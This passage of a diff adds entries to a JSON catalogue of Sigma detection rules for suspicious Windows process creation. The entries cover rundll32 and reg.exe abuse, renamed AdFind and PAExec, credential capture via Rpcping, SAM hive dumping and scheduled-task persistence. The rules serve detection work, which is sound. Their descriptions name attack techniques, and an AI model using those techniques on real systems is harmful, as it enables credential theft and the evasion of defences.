"Unknown" + ], + "filename": "proc_creation_win_susp_regsvr32_spawn_explorer.yml", + "level": "high", + "logsource.category": "process_creation", + "logsource.product": "windows", + "refs": [ + "https://redcanary.com/blog/intelligence-insights-april-2022/", + "https://www.echotrail.io/insights/search/regsvr32.exe", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_susp_regsvr32_spawn_explorer.yml" + ], + "tags": [ + "attack.defense_evasion", + "attack.t1218.010" + ] + }, + "uuid": "6f0947a4-1c5e-4e0d-8ac7-53159b8f23ca", + "value": "Regsvr32 Spawning Explorer" + }, + { + "description": "Detects when an adversary uses the reg.exe utility to add or modify new keys or subkeys", + "meta": { + "author": "frack113, Nasreddine Bencherchali", + "creation_date": "2022/08/19", + "falsepositive": [ + "Rare legitimate add to registry via cli (to these locations)" + ], + "filename": "proc_creation_win_susp_reg_add.yml", + "level": "high", + "logsource.category": "process_creation", + "logsource.product": "windows", + "refs": [ + "https://github.com/redcanaryco/atomic-red-team/blob/40b77d63808dd4f4eafb83949805636735a1fd15/atomics/T1112/T1112.md", + "https://github.com/redcanaryco/atomic-red-team/blob/40b77d63808dd4f4eafb83949805636735a1fd15/atomics/T1562.001/T1562.001.md", + "https://www.absolomb.com/2018-01-26-Windows-Privilege-Escalation-Guide/", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_susp_reg_add.yml" + ], + "tags": [ + "attack.defense_evasion", + "attack.t1112", + "attack.t1562.001" + ] + }, + "uuid": "b7e2a8d4-74bb-4b78-adc9-3f92af2d4829", + "value": "Reg Add Suspicious Paths" + }, + { + "description": "Detects suspicious addition to BitLocker related registry keys via the reg.exe utility", + "meta": { + "author": "frack113", + "creation_date": "2021/11/15", + "falsepositive": [ + "Unlikely" + ], + "filename": "proc_creation_win_susp_reg_bitlocker.yml", + "level": "high", + "logsource.category": "process_creation", + "logsource.product": "windows", + "refs": [ + "https://thedfirreport.com/2021/11/15/exchange-exploit-leads-to-domain-wide-ransomware/", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_susp_reg_bitlocker.yml" + ], + "tags": [ + "attack.impact", + "attack.t1486" + ] + }, + "uuid": "0e0255bf-2548-47b8-9582-c0955c9283f5", + "value": "Suspicious Reg Add BitLocker" + }, + { + "description": "Detects a suspicious reg.exe invocation that looks as if it would disable an important security service", + "meta": { + "author": "Florian Roth, John Lambert (idea), elhoim", + "creation_date": "2021/07/14", + "falsepositive": [ + "Unknown", + "Other security solution installers" + ], + "filename": "proc_creation_win_susp_reg_disable_sec_services.yml", + "level": "high", + "logsource.category": "process_creation", + "logsource.product": "windows", + "refs": [ + "https://twitter.com/JohnLaTwC/status/1415295021041979392", + "https://github.com/gordonbay/Windows-On-Reins/blob/e587ac7a0407847865926d575e3c46f68cf7c68d/wor.ps1", + "https://vms.drweb.fr/virus/?i=24144899", + "https://bidouillesecurity.com/disable-windows-defender-in-powershell/", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_susp_reg_disable_sec_services.yml" + ], + "tags": [ + "attack.defense_evasion", + "attack.t1562.001" + ] + }, + "uuid": "5e95028c-5229-4214-afae-d653d573d0ec", + "value": "Reg Disable Security Service" + }, + { + "description": "Threat actors performed dumping of SAM, SECURITY and SYSTEM registry hives using DelegateExecute key", + "meta": { + "author": "frack113", + "creation_date": "2021/12/20", + "falsepositive": [ + "Unknown" + ], + "filename": "proc_creation_win_susp_reg_open_command.yml", + "level": "medium", + "logsource.category": "process_creation", + "logsource.product": "windows", + "refs": [ + "https://thedfirreport.com/2021/12/13/diavol-ransomware/", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_susp_reg_open_command.yml" + ], + "tags": [ + "attack.credential_access", + "attack.t1003" + ] + }, + "uuid": "dd3ee8cc-f751-41c9-ba53-5a32ed47e563", + "value": "Suspicious Reg Add Open Command" + }, + { + "description": "Detects the use of a renamed Adfind.exe. AdFind continues to be seen across majority of breaches. It is used to domain trust discovery to plan out subsequent steps in the attack chain.", + "meta": { + "author": "Florian Roth", + "creation_date": "2022/08/21", + "falsepositive": [ + "Unknown" + ], + "filename": "proc_creation_win_susp_renamed_adfind.yml", + "level": "high", + "logsource.category": "process_creation", + "logsource.product": "windows", + "refs": [ + "https://www.joeware.net/freetools/tools/adfind/", + "https://thedfirreport.com/2020/05/08/adfind-recon/", + "https://thedfirreport.com/2021/01/11/trickbot-still-alive-and-well/", + "https://www.microsoft.com/security/blog/2021/01/20/deep-dive-into-the-solorigate-second-stage-activation-from-sunburst-to-teardrop-and-raindrop/", + "https://social.technet.microsoft.com/wiki/contents/articles/7535.adfind-command-examples.aspx", + "https://github.com/center-for-threat-informed-defense/adversary_emulation_library/blob/bf62ece1c679b07b5fb49c4bae947fe24c81811f/fin6/Emulation_Plan/Phase1.md", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_susp_renamed_adfind.yml" + ], + "tags": [ + "attack.discovery", + "attack.t1018", + "attack.t1087.002", + "attack.t1482", + "attack.t1069.002" + ] + }, + "uuid": "df55196f-f105-44d3-a675-e9dfb6cc2f2b", + "value": "Renamed AdFind Detection" + }, + { + "description": "Detects uses of a renamed legitimate createdump.exe LOLOBIN utility to dump process memory", + "meta": { + "author": "Florian Roth", + "creation_date": "2022/09/20", + "falsepositive": [ + "Command lines that use the same flags" + ], + "filename": "proc_creation_win_susp_renamed_createdump.yml", + "level": "high", + "logsource.category": "process_creation", + "logsource.product": "windows", + "refs": [ + "https://www.crowdstrike.com/blog/overwatch-exposes-aquatic-panda-in-possession-of-log-4-shell-exploit-tools/", + "https://twitter.com/bopin2020/status/1366400799199272960", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_susp_renamed_createdump.yml" + ], + "tags": [ + "attack.defense_evasion", + "attack.t1036", + "attack.t1003.001" + ] + }, + "uuid": "1a1ed54a-2ba4-4221-94d5-01dee560d71e", + "value": "Renamed CreateDump Process Dump" + }, + { + "description": "Detects a renamed dctask64.exe used for process injection, command execution, process creation with a signed binary by ZOHO Corporation", + "meta": { + "author": "Florian Roth", + "creation_date": "2020/01/28", + "falsepositive": [ + "Unknown yet" + ], + "filename": "proc_creation_win_susp_renamed_dctask64.yml", + "level": "high", + "logsource.category": "process_creation", + "logsource.product": "windows", + "refs": [ + "https://twitter.com/gN3mes1s/status/1222088214581825540", + "https://twitter.com/gN3mes1s/status/1222095963789111296", + "https://twitter.com/gN3mes1s/status/1222095371175911424", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_susp_renamed_dctask64.yml" + ], + "tags": [ + "attack.defense_evasion", + "attack.t1036", + "attack.t1055.001", + "attack.t1202", + "attack.t1218" + ] + }, + "uuid": "340a090b-c4e9-412e-bb36-b4b16fe96f9b", + "value": "Renamed ZOHO Dctask64" + }, + { + "description": "Detects suspicious renamed SysInternals DebugView execution", + "meta": { + "author": "Florian Roth", + "creation_date": "2020/05/28", + "falsepositive": [ + "Unknown" + ], + "filename": "proc_creation_win_susp_renamed_debugview.yml", + "level": "high", + "logsource.category": "process_creation", + "logsource.product": "windows", + "refs": [ + "https://www.epicturla.com/blog/sysinturla", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_susp_renamed_debugview.yml" + ], + "tags": [ + "attack.resource_development", + "attack.t1588.002" + ] + }, + "uuid": "cd764533-2e07-40d6-a718-cfeec7f2da7f", + "value": "Renamed SysInternals Debug View" + }, + { + "description": "Detects execution of renamed version of PAExec. Often used by attackers", + "meta": { + "author": "Florian Roth", + "creation_date": "2021/05/22", + "falsepositive": [ + "Weird admins that rename their tools", + "Software companies that bundle PAExec with their software and rename it, so that it is less embarrassing", + "When executed with the \"-s\" flag. PAExec will copy itself to the \"C:\\Windows\\\" directory with a different name. Usually like this \"PAExec-[XXXXX]-[ComputerName]\"" + ], + "filename": "proc_creation_win_susp_renamed_paexec.yml", + "level": "high", + "logsource.category": "process_creation", + "logsource.product": "windows", + "refs": [ + "https://www.poweradmin.com/paexec/", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_susp_renamed_paexec.yml" + ], + "tags": [ + "attack.defense_evasion", + "attack.t1202" + ] + }, + "uuid": "c4e49831-1496-40cf-8ce1-b53f942b02f9", + "value": "Renamed PAExec" + }, + { + "description": "Detects using Rpcping.exe to send a RPC test connection to the target server (-s) and force the NTLM hash to be sent in the process.", + "meta": { + "author": "Julia Fomina, oscd.community", + "creation_date": "2020/10/09", + "falsepositive": [ + "Unlikely" + ], + "filename": "proc_creation_win_susp_rpcping.yml", + "level": "medium", + "logsource.category": "process_creation", + "logsource.product": "windows", + "refs": [ + "https://lolbas-project.github.io/lolbas/Binaries/Rpcping/", + "https://twitter.com/vysecurity/status/974806438316072960", + "https://twitter.com/vysecurity/status/873181705024266241", + "https://docs.microsoft.com/en-us/previous-versions/windows/it-pro/windows-server-2012-r2-and-2012/hh875578(v=ws.11)", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_susp_rpcping.yml" + ], + "tags": [ + "attack.credential_access", + "attack.t1003" + ] + }, + "uuid": "93671f99-04eb-4ab4-a161-70d446a84003", + "value": "Capture Credentials with Rpcping.exe" + }, + { + "description": "Detects suspicious process related to rundll32 based on arguments", + "meta": { + "author": "juju4, Jonhnathan Ribeiro, oscd.community, Nasreddine Bencherchali", + "creation_date": "2019/01/16", + "falsepositive": [ + "False positives depend on scripts and administrative tools used in the monitored environment" + ], + "filename": "proc_creation_win_susp_rundll32_activity.yml", + "level": "medium", + "logsource.category": "process_creation", + "logsource.product": "windows", + "refs": [ + "http://www.hexacorn.com/blog/2017/05/01/running-programs-via-proxy-jumping-on-a-edr-bypass-trampoline/", + "https://twitter.com/Hexacorn/status/885258886428725250", + "https://gist.github.com/ryhanson/227229866af52e2d963cf941af135a52", + "https://twitter.com/nas_bench/status/1433344116071583746", + "https://twitter.com/eral4m/status/1479106975967240209", + "https://twitter.com/eral4m/status/1479080793003671557", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_susp_rundll32_activity.yml" + ], + "tags": [ + "attack.defense_evasion", + "attack.t1218.011" + ] + }, + "uuid": "e593cf51-88db-4ee1-b920-37e89012a3c9", + "value": "Suspicious Rundll32 Activity" + }, + { + "description": "Detects suspicious calls of DLLs in rundll32.dll exports by ordinal", + "meta": { + "author": "Florian Roth", + "creation_date": "2019/10/22", + "falsepositive": [ + "False positives depend on scripts and administrative tools used in the monitored environment", + "Windows control panel elements have been identified as source (mmc)" + ], + "filename": "proc_creation_win_susp_rundll32_by_ordinal.yml", + "level": "high", + "logsource.category": "process_creation", + "logsource.product": "windows", + "refs": [ + "https://techtalk.pcmatic.com/2017/11/30/running-dll-files-malware-analysis/", + "https://github.com/Neo23x0/DLLRunner", + "https://twitter.com/cyb3rops/status/1186631731543236608", + "https://www.welivesecurity.com/2022/03/01/isaacwiper-hermeticwizard-wiper-worm-targeting-ukraine/", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_susp_rundll32_by_ordinal.yml" + ], + "tags": [ + "attack.defense_evasion", + "attack.t1218.011" + ] + }, + "uuid": "e79a9e79-eb72-4e78-a628-0e7e8f59e89c", + "value": "Suspicious Call by Ordinal" + }, + { + "description": "Detects suspicious process related to rundll32 based on command line that invokes inline VBScript as seen being used by UNC2452", + "meta": { + "author": "Florian Roth", + "creation_date": "2021/03/05", + "falsepositive": [ + "Unknown" + ], + "filename": "proc_creation_win_susp_rundll32_inline_vbs.yml", + "level": "high", + "logsource.category": "process_creation", + "logsource.product": "windows", + "refs": [ + "https://www.microsoft.com/security/blog/2021/03/04/goldmax-goldfinder-sibot-analyzing-nobelium-malware/", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_susp_rundll32_inline_vbs.yml" + ], + "tags": [ + "attack.defense_evasion", + "attack.t1055" + ] + }, + "uuid": "1cc50f3f-1fc8-4acf-b2e9-6f172e1fdebd", + "value": "Suspicious Rundll32 Invoking Inline VBScript" + }, + { + "description": "Detects suspicious command line patterns used when rundll32 is used to run JavaScript code", + "meta": { + "author": "Florian Roth", + "creation_date": "2022/01/14", + "falsepositive": [ + "Unlikely" + ], + "filename": "proc_creation_win_susp_rundll32_js_runhtmlapplication.yml", + "level": "high", + "logsource.category": "process_creation", + "logsource.product": "windows", + "refs": [ + "http://hyp3rlinx.altervista.org/advisories/MICROSOFT_WINDOWS_DEFENDER_DETECTION_BYPASS.txt", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_susp_rundll32_js_runhtmlapplication.yml" + ], + "tags": [ + "attack.defense_evasion" + ] + }, + "uuid": "9f06447a-a33a-4cbe-a94f-a3f43184a7a3", + "value": "Rundll32 JS RunHTMLApplication Pattern" + }, + { + "description": "Detects the invocation of the Stored User Names and Passwords dialogue (Key Manager)", + "meta": { + "author": "Florian Roth", + "creation_date": "2022/04/21", + "falsepositive": [ + "Administrative activity" + ], + "filename": "proc_creation_win_susp_rundll32_keymgr.yml", + "level": "high", + "logsource.category": "process_creation", + "logsource.product": "windows", + "refs": [ + "https://twitter.com/NinjaParanoid/status/1516442028963659777", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_susp_rundll32_keymgr.yml" + ], + "tags": [ + "attack.credential_access", + "attack.t1555.004" + ] + }, + "uuid": "a4694263-59a8-4608-a3a0-6f8d3a51664c", + "value": "Suspicious Key Manager Access" + }, + { + "description": "Detects suspicious start of rundll32.exe without any parameters as found in CobaltStrike beacon activity", + "meta": { + "author": "Florian Roth", + "creation_date": "2021/05/27", + "falsepositive": [ + "Possible but rare" + ], + "filename": "proc_creation_win_susp_rundll32_no_params.yml", + "level": "high", + "logsource.category": "process_creation", + "logsource.product": "windows", + "refs": [ + "https://www.cobaltstrike.com/help-opsec", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_susp_rundll32_no_params.yml" + ], + "tags": [ + "attack.defense_evasion", + "attack.t1202" + ] + }, + "uuid": "1775e15e-b61b-4d14-a1a3-80981298085a", + "value": "Suspicious Rundll32 Without Any CommandLine Params" + }, + { + "description": "Detects suspicious process related to rundll32 based on arguments", + "meta": { + "author": "frack113", + "creation_date": "2021/12/04", + "falsepositive": [ + "False positives depend on scripts and administrative tools used in the monitored environment" + ], + "filename": "proc_creation_win_susp_rundll32_script_run.yml", + "level": "medium", + "logsource.category": "process_creation", + "logsource.product": "windows", + "refs": [ + "https://gist.github.com/ryhanson/227229866af52e2d963cf941af135a52", + "https://github.com/redcanaryco/atomic-red-team/blob/f339e7da7d05f6057fdfcdd3742bfcf365fee2a9/atomics/T1218.011/T1218.011.md", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_susp_rundll32_script_run.yml" + ], + "tags": [ + "attack.defense_evasion", + "attack.t1218.011" + ] + }, + "uuid": "73fcad2e-ff14-4c38-b11d-4172c8ac86c7", + "value": "Suspicious Rundll32 Script in CommandLine" + }, + { + "description": "setupapi.dll library provide InstallHinfSection function for processing INF files. INF file may contain instructions allowing to create values in the registry, modify files and install drivers. This technique could be used to obtain persistence via modifying one of Run or RunOnce registry keys, run process or use other DLLs chain calls (see references) InstallHinfSection function in setupapi.dll calls runonce.exe executable regardless of actual content of INF file.", + "meta": { + "author": "Konstantin Grishchenko, oscd.community", + "creation_date": "2020/10/07", + "falsepositive": [ + "Scripts and administrative tools that use INF files for driver installation with setupapi.dll" + ], + "filename": "proc_creation_win_susp_rundll32_setupapi_installhinfsection.yml", + "level": "medium", + "logsource.category": "process_creation", + "logsource.product": "windows", + "refs": [ + "https://lolbas-project.github.io/lolbas/Libraries/Setupapi/", + "https://gist.githubusercontent.com/bohops/0cc6586f205f3691e04a1ebf1806aabd/raw/baf7b29891bb91e76198e30889fbf7d6642e8974/calc_exe.inf", + "https://raw.githubusercontent.com/huntresslabs/evading-autoruns/master/shady.inf", + "https://twitter.com/Z3Jpa29z/status/1313742350292746241?s=20", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_susp_rundll32_setupapi_installhinfsection.yml" + ], + "tags": [ + "attack.defense_evasion", + "attack.t1218.011" + ] + }, + "uuid": "285b85b1-a555-4095-8652-a8a4106af63f", + "value": "Suspicious Rundll32 Setupapi.dll Activity" + }, + { + "description": "Detects RunDLL32.exe spawning explorer.exe as child, which is very uncommon, often observes Gamarue spawning the explorer.exe process in an unusual way", + "meta": { + "author": "elhoim, CD_ROM_", + "creation_date": "2022/04/27", + "falsepositive": [ + "Unknown" + ], + "filename": "proc_creation_win_susp_rundll32_spawn_explorer.yml", + "level": "high", + "logsource.category": "process_creation", + "logsource.product": "windows", + "refs": [ + "https://redcanary.com/blog/intelligence-insights-november-2021/", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_susp_rundll32_spawn_explorer.yml" + ], + "tags": [ + "attack.defense_evasion", + "attack.t1218.011" + ] + }, + "uuid": "caa06de8-fdef-4c91-826a-7f9e163eef4b", + "value": "RunDLL32 Spawning Explorer" + }, + { + "description": "Detects suspicious process related to rundll32 based on command line that includes a *.sys file as seen being used by UNC2452", + "meta": { + "author": "Florian Roth", + "creation_date": "2021/03/05", + "falsepositive": [ + "Unknown" + ], + "filename": "proc_creation_win_susp_rundll32_sys.yml", + "level": "high", + "logsource.category": "process_creation", + "logsource.product": "windows", + "refs": [ + "https://www.microsoft.com/security/blog/2021/03/04/goldmax-goldfinder-sibot-analyzing-nobelium-malware/", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_susp_rundll32_sys.yml" + ], + "tags": [ + "attack.defense_evasion", + "attack.t1218.011" + ] + }, + "uuid": "731231b9-0b5d-4219-94dd-abb6959aa7ea", + "value": "Suspicious Rundll32 Activity Invoking Sys File" + }, + { + "description": "Detects a suspicious call to the user32.dll function that locks the user workstation", + "meta": { + "author": "frack113", + "creation_date": "2022/06/04", + "falsepositive": [ + "Scripts or links on the user desktop used to lock the workstation instead of Windows+L or the menu option" + ], + "filename": "proc_creation_win_susp_rundll32_user32_dll.yml", + "level": "medium", + "logsource.category": "process_creation", + "logsource.product": "windows", + "refs": [ + "https://app.any.run/tasks/2aef9c63-f944-4763-b3ef-81eee209d128/", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_susp_rundll32_user32_dll.yml" + ], + "tags": [ + "attack.defense_evasion" + ] + }, + "uuid": "3b5b0213-0460-4e3f-8937-3abf98ff7dcc", + "value": "Suspicious Workstation Locking via Rundll32" + }, + { + "description": "This rule detects the execution of Run Once task as configured in the registry", + "meta": { + "author": "Avneet Singh @v3t0_, oscd.community", + "creation_date": "2020/10/18", + "falsepositive": [ + "Unknown" + ], + "filename": "proc_creation_win_susp_runonce_execution.yml", + "level": "low", + "logsource.category": "process_creation", + "logsource.product": "windows", + "refs": [ + "https://twitter.com/pabraeken/status/990717080805789697", + "https://lolbas-project.github.io/lolbas/Binaries/Runonce/", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_susp_runonce_execution.yml" + ], + "tags": [ + "attack.defense_evasion", + "attack.t1112" + ] + }, + "uuid": "198effb6-6c98-4d0c-9ea3-451fa143c45c", + "value": "Run Once Task Execution as Configured in Registry" + }, + { + "description": "Detects execution of powershell scripts via Runscripthelper.exe", + "meta": { + "author": "Victor Sergeev, oscd.community", + "creation_date": "2020/10/09", + "falsepositive": [ + "Unknown" + ], + "filename": "proc_creation_win_susp_runscripthelper.yml", + "level": "medium", + "logsource.category": "process_creation", + "logsource.product": "windows", + "refs": [ + "https://lolbas-project.github.io/lolbas/Binaries/Runscripthelper/", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_susp_runscripthelper.yml" + ], + "tags": [ + "attack.execution", + "attack.t1059", + "attack.defense_evasion", + "attack.t1202" + ] + }, + "uuid": "eca49c87-8a75-4f13-9c73-a5a29e845f03", + "value": "Suspicious Runscripthelper.exe" + }, + { + "description": "Detects suspicious process run from unusual locations", + "meta": { + "author": "juju4, Jonhnathan Ribeiro, oscd.community", + "creation_date": "2019/01/16", + "falsepositive": [ + "False positives depend on scripts and administrative tools used in the monitored environment" + ], + "filename": "proc_creation_win_susp_run_locations.yml", + "level": "medium", + "logsource.category": "process_creation", + "logsource.product": "windows", + "refs": [ + "https://car.mitre.org/wiki/CAR-2013-05-002", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_susp_run_locations.yml" + ], + "tags": [ + "attack.defense_evasion", + "attack.t1036", + "car.2013-05-002" + ] + }, + "uuid": "15b75071-74cc-47e0-b4c6-b43744a62a2b", + "value": "Suspicious Process Start Locations" + }, + { + "description": "Detects execution of Remote Utilities RAT (RURAT) from an unsual location (outisde of 'C:\\Program Files')", + "meta": { + "author": "Nasreddine Bencherchali", + "creation_date": "2022/09/19", + "falsepositive": [ + "Unknown" + ], + "filename": "proc_creation_win_susp_rurat_exec_location.yml", + "level": "medium", + "logsource.category": "process_creation", + "logsource.product": "windows", + "refs": [ + "https://redcanary.com/blog/misbehaving-rats/", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_susp_rurat_exec_location.yml" + ], + "tags": [ + "attack.defense_evasion" + ] + }, + "uuid": "e01fa958-6893-41d4-ae03-182477c5e77d", + "value": "Execution of Remote Utilities RAT (RURAT) From Unusual Location" + }, + { + "description": "Detects when an attacker tries to modify an already existing scheduled tasks to run from a suspicious location\nAttackers can create a simple looking task in order to avoid detection on creation as it's often the most focused on\nInstead they modify the task after creation to include their malicious payload\n", + "meta": { + "author": "Nasreddine Bencherchali", + "creation_date": "2022/07/28", + "falsepositive": [ + "Unknown" + ], + "filename": "proc_creation_win_susp_schtasks_change.yml", + "level": "high", + "logsource.category": "process_creation", + "logsource.product": "windows", + "refs": [ + "Internal Research", + "https://docs.microsoft.com/en-us/windows-server/administration/windows-commands/schtasks", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_susp_schtasks_change.yml" + ], + "tags": [ + "attack.execution", + "attack.t1053.005" + ] + }, + "uuid": "1c0e41cd-21bb-4433-9acc-4a2cd6367b9b", + "value": "Suspicious Modification Of Scheduled Tasks" + }, + { + "description": "Detects when adversaries stop services or processes by disabling their respective schdueled tasks in order to conduct data destructive activities", + "meta": { + "author": "Nasreddine Bencherchali", + "creation_date": "2022/09/09", + "falsepositive": [ + "Unlikely" + ], + "filename": "proc_creation_win_susp_schtasks_delete.yml", + "level": "high", + "logsource.category": "process_creation", + "logsource.product": "windows", + "refs": [ + "Internal Research", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_susp_schtasks_delete.yml" + ], + "tags": [ + "attack.impact", + "attack.t1489" + ] + }, + "uuid": "dbc1f800-0fe0-4bc0-9c66-292c2abe3f78", + "value": "Delete Important Scheduled Task" + }, + { + "description": "Detects the usage of schtasks with the delete flag and the asterisk symbole to delete all tasks from the schedule of the local computer, including tasks scheduled by other users.", + "meta": { + "author": "Nasreddine Bencherchali", + "creation_date": "2022/09/09", + "falsepositive": [ + "Unlikely" + ], + "filename": "proc_creation_win_susp_schtasks_delete_all.yml", + "level": "high", + "logsource.category": "process_creation", + "logsource.product": "windows", + "refs": [ + "https://docs.microsoft.com/en-us/windows-server/administration/windows-commands/schtasks-delete", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_susp_schtasks_delete_all.yml" + ], + "tags": [ + "attack.impact", + "attack.t1489" + ] + }, + "uuid": "220457c1-1c9f-4c2e-afe6-9598926222c1", + "value": "Delete All Scheduled Tasks" + }, + { + "description": "Detects when adversaries stop services or processes by disabling their respective schdueled tasks in order to conduct data destructive activities", + "meta": { + "author": "frack113, Nasreddine Bencherchali", + "creation_date": "2021/12/26", + "falsepositive": [ + "Unknown" + ], + "filename": "proc_creation_win_susp_schtasks_disable.yml", + "level": "high", + "logsource.category": "process_creation", + "logsource.product": "windows", + "refs": [ + "https://github.com/redcanaryco/atomic-red-team/blob/f339e7da7d05f6057fdfcdd3742bfcf365fee2a9/atomics/T1490/T1490.md#atomic-test-8---windows---disable-the-sr-scheduled-task", + "https://twitter.com/MichalKoczwara/status/1553634816016498688", + "https://thedfirreport.com/2021/10/18/icedid-to-xinglocker-ransomware-in-24-hours/", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_susp_schtasks_disable.yml" + ], + "tags": [ + "attack.impact", + "attack.t1489" + ] + }, + "uuid": "9ac94dc8-9042-493c-ba45-3b5e7c86b980", + "value": "Disable Important Scheduled Task" + }, + { + "description": "Detects Schtask creations that point to a suspicious folder or an environment variable often used by malware", + "meta": { + "author": "Florian Roth", + "creation_date": "2022/02/21", + "falsepositive": [ + "Benign scheduled tasks creations or executions that happen often during software installations", + "Software that uses the AppData folder and scheduled tasks to update the software in the AppData folders" + ], + "filename": "proc_creation_win_susp_schtasks_env_folder.yml", + "level": "high", + "logsource.category": "process_creation", + "logsource.product": "windows", + "refs": [ + "https://www.welivesecurity.com/2022/01/18/donot-go-do-not-respawn/", + "https://www.joesandbox.com/analysis/514608/0/html#324415FF7D8324231381BAD48A052F85DF04", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_susp_schtasks_env_folder.yml" + ], + "tags": [ + "attack.execution", + "attack.t1053.005" + ] + }, + "uuid": "81325ce1-be01-4250-944f-b4789644556f", + "value": "Suspicious Schtasks From Env Var Folder" + }, + { + "description": "Detects scheduled task creations that have suspicious action command and folder combinations", + "meta": { + "author": "Florian Roth", + "creation_date": "2022/04/15", + "falsepositive": [ + "Unknown" + ], + "filename": "proc_creation_win_susp_schtasks_folder_combos.yml", + "level": "high", + "logsource.category": "process_creation", + "logsource.product": "windows", + "refs": [ + "https://symantec-enterprise-blogs.security.com/blogs/threat-intelligence/lazarus-dream-job-chemical", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_susp_schtasks_folder_combos.yml" + ], + "tags": [ + "attack.execution", + "attack.t1053.005" + ] + }, + "uuid": "8a8379b8-780b-4dbf-b1e9-31c8d112fefb", + "value": "Schtasks From Suspicious Folders" + }, + { + "description": "Detects suspicious scheduled task creations from a parent stored in a temporary folder", + "meta": { + "author": "Florian Roth", + "creation_date": "2022/02/23", + "falsepositive": [ + "Software installers that run from temporary folders and also install scheduled tasks" + ], + "filename": "proc_creation_win_susp_schtasks_parent.yml", + "level": "medium", + "logsource.category": "process_creation", + "logsource.product": "windows", + "refs": [ + "https://app.any.run/tasks/649e7b46-9bec-4d05-98a5-dfa9a13eaae5/", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_susp_schtasks_parent.yml" + ], + "tags": [ + "attack.execution", + "attack.t1053.005" + ] + }, + "uuid": "9494479d-d994-40bf-a8b1-eea890237021", + "value": "Suspicious Add Scheduled Task Parent" + }, + { + "description": "Detects suspicious scheduled task creations with commands that are uncommon", + "meta": { + "author": "Florian Roth", + "creation_date": "2022/02/23", + "falsepositive": [ + "Software installers that run from temporary folders and also install scheduled tasks" + ], + "filename": "proc_creation_win_susp_schtasks_pattern.yml", + "level": "high", + "logsource.category": "process_creation", + "logsource.product": "windows", + "refs": [ + "https://app.any.run/tasks/512c1352-6380-4436-b27d-bb62f0c020d6/", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_susp_schtasks_pattern.yml" + ], + "tags": [ + "attack.execution", + "attack.t1053.005" + ] + }, + "uuid": "f2c64357-b1d2-41b7-849f-34d2682c0fad", + "value": "Suspicious Add Scheduled Command Pattern" + }, + { + "description": "Detects scheduled task creations or modification on a suspicious schedule type", + "meta": { + "author": "Nasreddine Bencherchali", + "creation_date": "2022/09/09", + "falsepositive": [ + "Legitmate processes that run at logon. Filter according to your environment" + ], + "filename": "proc_creation_win_susp_schtasks_schedule_type.yml", + "level": "high", + "logsource.category": "process_creation", + "logsource.product": "windows", + "refs": [ + "https://docs.microsoft.com/en-us/windows-server/administration/windows-commands/schtasks-change", + "https://docs.microsoft.com/en-us/windows-server/administration/windows-commands/schtasks-create", + "http://blog.talosintelligence.com/2022/09/lazarus-three-rats.html", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_susp_schtasks_schedule_type.yml" + ], + "tags": [ + "attack.execution", + "attack.t1053.005" + ] + }, + "uuid": "24c8392b-aa3c-46b7-a545-43f71657fe98", + "value": "Suspicious Schtasks Schedule Types" + }, + { + "description": "Detects scheduled task creations or modification to be run with high privileges on a suspicious schedule type", + "meta": { + "author": "Nasreddine Bencherchali", + "creation_date": "2022/08/31", + "falsepositive": [ + "Some installers were seen using this method of creation unfortunately. Filter them in your environment" + ], + "filename": "proc_creation_win_susp_schtasks_schedule_type_system.yml", + "level": "medium", + "logsource.category": "process_creation", + "logsource.product": "windows", + "refs": [ + "https://docs.microsoft.com/en-us/windows-server/administration/windows-commands/schtasks-change", + "https://docs.microsoft.com/en-us/windows-server/administration/windows-commands/schtasks-create", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_susp_schtasks_schedule_type_system.yml" + ], + "tags": [ + "attack.execution", + "attack.t1053.005" + ] + }, + "uuid": "7a02e22e-b885-4404-b38b-1ddc7e65258a", + 